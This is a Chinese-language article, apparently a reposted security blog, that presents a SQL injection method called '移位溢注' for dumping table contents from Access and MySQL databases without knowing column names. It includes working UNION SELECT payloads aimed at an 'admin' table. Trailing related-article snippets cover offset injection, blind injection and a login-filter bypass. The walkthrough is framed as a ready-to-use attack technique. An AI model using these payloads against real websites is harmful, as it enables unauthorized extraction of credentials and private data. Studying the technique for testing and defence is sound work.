移位溢注:告别靠人品的偏移注入 (推荐)

在Access数据库类型注入的时候,我们获取不到列名(前提是有表名),一般会选择使用偏移注入,但是这种注入方式往往借助的是个人的人品,且步骤繁琐。本文中我们研究了一种新的注入技术让“偏移注入不再需要人品”。在这里定义这种注入技术为:“移位溢注技术”。它适用于ACCESS和MYSQL(任何版本)。

我们先来看看普通的偏移注入步骤:

1.判断注入点

2.order by 判断长度

3.判断表名

4.联合查询

5.获取表中列数:union select 1,2,3,4,..,* from TABLE

6.开始偏移注入:TABLE as a inner join TABLE as b on a.id=b.id

由于步骤6的方法过于需要人品值,且语句繁琐,因此在这里,我们研究新的注入技术。

首先来看看步骤6语句的整体意思:

步骤6的语句,表示给TALBE取2个别名,然后分别用别名取查询TALBE的内容(表a和表b);而on a.id = b.id 这样的条件是为了满足语法需求,实际并没有作用,因为相同内容的表,相同字段内容一定相同。

这时,我们再回过头来看步骤5:

由于联合查询中select后面添加数字的目的是为了让联合查询返回接结果和网站正常查询返回的结果的列数一致(不一致数据库会报错,页面无法显示),且*表示通配符,可以表示整个表格所有列;因此这里通过数字来占位,并使用*来替代TABLE中的所有列,使得联合查询可以完成,并推算出*的值。

这时候我们继续研究偏移注入的整体公式方法,发现即使使用多级偏移注入也需要一定的概率(人品值)才可以得到想要的结果,所以我们就尝试研究新的方法能不能替换这种不固定概率的方法。

现在我们重新整理一下SQL语句,从联合查询开始:

1.原union语句:

union select 1,2,3,..,p..,n from TABLE

(p=页面爆出的数字,可能有多个p1,p2..;n=原网站查询的总列数;TALBE=我们获得的表名;下面开始就使用上述字母的定义)

2.新语句:

union select 1,2,3,..,p-1,TABLE.*,p+k,..,n from TABLE where 字段名 = 字段内容

在p的位置爆出TALBE表中第一个字段的内容(其他位置还可能爆出更多内容。这里如果存在已知字段名可以使用,没有就不用,一般id这个字段时存在的,可以使用id = 1来显示第一行)

union select 1,2,3,..,p-2,TABLE.*,p+k-1,..,n from TABLE where 字段名 = 字段内容

在p的位置爆出TALBE表中第二个字段的内容(其他位置还可能爆出更多内容)

union select 1,2,3,..,p-3,TABLE.*,p+k-2,..,n from TABLE where 字段名 = 字段内容

在p的位置爆出TALBE表中第三个字段的内容(其他位置还可能爆出更多内容)

注:这里一定是TALBE.*而不是*

3.1 以此类推可以爆出TALBE的每一列内容。

3.2 如果p<k则没法爆出p+1列至k列的内容,如果n-p<k则无法爆出第1列至k-(n-p)列。

原理

1.由原语句:union select 1,2,3,..,p..,n-k,* from TABLE 可以得出该联合查询的目的是构造和原网站相同列数的查询结构,使得页面上可以显示对应的数字;这条语句相当于是做了两次查询并将它们的结果合并,第一次做了select 1,2,3,..,n-k from TALBE ,第二次做了select * from TALBE ,然后将它们的结果合并。

这可以参考mysql的语句:select 1,2,3,4,5,admin.* from admin;

2.只要满足原理1的要求,保障联合查询的结果和原网站查询的结果列数一致即可;因此可以将TALBE.*向前移动至页面显示的数字处来爆出TALBE列中的内容。

这可以参考mysql的语句:

select 1,2,3,4,5,6,7,8,9,10 from news where id =1 union select 1,2,3,4,5,6,7,admin.* from admin;

select 1,2,3,4,5,6,7,8,9,10 from news where id =1 union select 1,2,3,admin.*,7,8,9,10 from admin;

注:假设数字4、5在页面显示。

由下图可知,其实数据已近查询出来,但是页面没有显示,这个是通过平移查询结果到页面显示的数字上去,即可爆出敏感字段。

例子:

步骤1:判断注入点是否存在

步骤2:判断字段长度:order by 35

步骤3:获得表名(必备条件)   and exists(select * from admin)

步骤4:获取不了列名(当尝试多个常用字段名以后,最终还是发现无法获得字段名)

步骤5:使用联合查询(union select)

步骤6:使用新注入技术方法

(1)获取admin表的列数:

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,* from admin——返回错误页面

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,* from admin——返回错误页面

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,* from admin——返回错误页面

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,* from admin——返回错误页面

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,* from admin——返回步骤5页面,因此admin表的列数为6

(2)由于网页中包含连续数字,表示可以显示连续的查询结果,构造SQL语句查询前四列第一行。

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35 from admin

(3)由第一行第一列内容为1,可以猜测该表有id字段,因此修改语句获取其他行。

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35 from admin where id = 3

总结

在这里我们命名这种新注入技术为“移位溢注”。由此如果MYSQL小于5.0的情况下所具备的条件和ACCESS一样,也可以使用此方法注入,如果是MYSQL大于5.0的版本,使用此方法可以省去获得列名的步骤。

时间: 2024-11-05 18:36:13

移位溢注:告别靠人品的偏移注入 (推荐)的相关文章

SQL注入 移位溢入

安全脉搏 2017-03-01 16:59 介绍: 在Access数据库类型注入的时候,我们获取不到列名(前提是有表名),一般会选择使用偏移注入,但是这种注入方式往往借助的是个人的人品,且步骤繁琐.本文中我们研究了一种新的注入技术让“偏移注入不再需要人品”.在这里定义这种注入技术为:“移位溢注技术”. 它适用于ACCESS和MYSQL(任何版本) 正文: 我们先来看看普通的偏移注入步骤: 1.判断注入点 2.order by 判断长度 3.判断表名 4.联合查询 5.获取表中列数:union s

偏移注入

应用场景 access.mysql数据库的网站存在注入,但跑不出字段名(列名). 偏移注入步骤 1.判断注入点 2.order by 判断当前表的列数 (该判断出来的列数可能等于或小于该表,在于代码查询语法有没有写死) 3.联合查询猜表名 4.获取目标表的列数 (union select 1,2,3,...,* from TABLE) 5.开始偏移注入(两种方法) (1)传统移位(需要一定运气,可以多次偏移): union select 1,2,3,...,* from TABLE as a i

渗透学习笔记之access偏移注入

access偏移注入是解决一些注入出不来列名或者时的情况,同时要求支持union select ,列名也必须足够多,知道表名 access注入语句: 1 Order by * 2 a.id,b.id,* from (admin as a inner join admin as b on a.id = b.id) 这句话就是说把admin表记为a,同时也记为b,然后查询条件是a表的id列与b表的id列相等,返回所有相等的行,显然,a,b都是同一个表,当然全部返回啦.不理解的查一查语法吧. 3 *代

ACCESS数据库偏移注入

偏移注入主要是针对知道表,但是不知道字段的ACCESS数据库. 比如我们已经知道了表名是 admin 判断字段数: http://192.168.74.136:8002/Production/PRODUCT_DETAIL.asp?id=1406 order by 22 返回正常 http://192.168.74.136:8002/Production/PRODUCT_DETAIL.asp?id=1406 order by 23 返回错误 字段数为 22 爆出显示位: http://192.16

【sqli-labs】 less41 GET -Blind based -Intiger -Stacked(GET型基于盲注的堆叠查询整型注入)

整型的不用闭合引号 http://192.168.136.128/sqli-labs-master/Less-41/?id=1;insert into users(id,username,password) values (15,'root','root')%23 http://192.168.136.128/sqli-labs-master/Less-41/?id=15 原文地址:https://www.cnblogs.com/superkrissV/p/8386137.html

SQL知识小总结

1.ph师傅一个小窍门 MYSQL字符编码 当web应用,不允许登陆admin,或者过滤其它关键字的时候,可以使用阿拉伯数字%c2进行绕过 user=Q1t0ngW3i%c2&pass=ab@15!74587~caibudao&submit=%E7%99%BB%E5%BD%95 2.峻山分享的一个知识点 SQL移位溢注技术 在知道表名,但不知道列名的情况下非常有用.尤其是在CTF这种"理想状态"下. 当原SQL语句查询列数超过TABLE表的总列数时,可以使用该查询方式,

(转)SQL盲注攻击的简单介绍

转:http://hi.baidu.com/duwang1104/item/65a6603056aee780c3cf2968 1 简介     1.1 普通SQL注入技术概述     目前没有对SQL注入技术的标准定义,微软中国技术中心从2个方面进行了描述[1]:     (1) 脚本注入式的攻击     (2) 恶意用户输入用来影响被执行的SQL脚本     根据Chris Anley的定义[2], 当一个攻击者通过在查询语句中插入一系列的SQL语句来将数据写入到应用程序中,这种方法就可以定义

盲注学习总结

sql注入中的盲注的几种类型 1.基于时间延时注入 基于时间的手工盲注一般都是通过二分法或逐位法确定范围获取目标值.大大缩小了请求数. 通过控制,获取响应时间来判断目标值的正确性.使用大量情况,在纯盲情况下成功率较高,缺点就是时间太长. 1.1针对mysql 对mysql进行盲注的时候尽量使用#作为注释符号,使用--会引起很多缺少'错误使得数据库无法正常执行攻击语句 利用IF语句判断可能的值,如果值满足条件,则使用函数使sql语句在数据库长时间执行从而通过响应时间判断值得方式.该注入方式为推断形

SQL盲注攻击的简单介绍

1 简介     1.1 普通SQL注入技术概述     目前没有对SQL注入技术的标准定义,微软中国技术中心从2个方面进行了描述[1]:     (1) 脚本注入式的攻击     (2) 恶意用户输入用来影响被执行的SQL脚本 根据Chris Anley的定义[2], 当一个攻击者通过在查询语句中插入一系列的SQL语句来将数据写入到应用程序中,这种方法就可以定义成SQL注入.Stephen Kost[3]给出了这种攻击形式的另一个特征,“从一个数据库获得未经授权的访问和直接检索”,SQL注入攻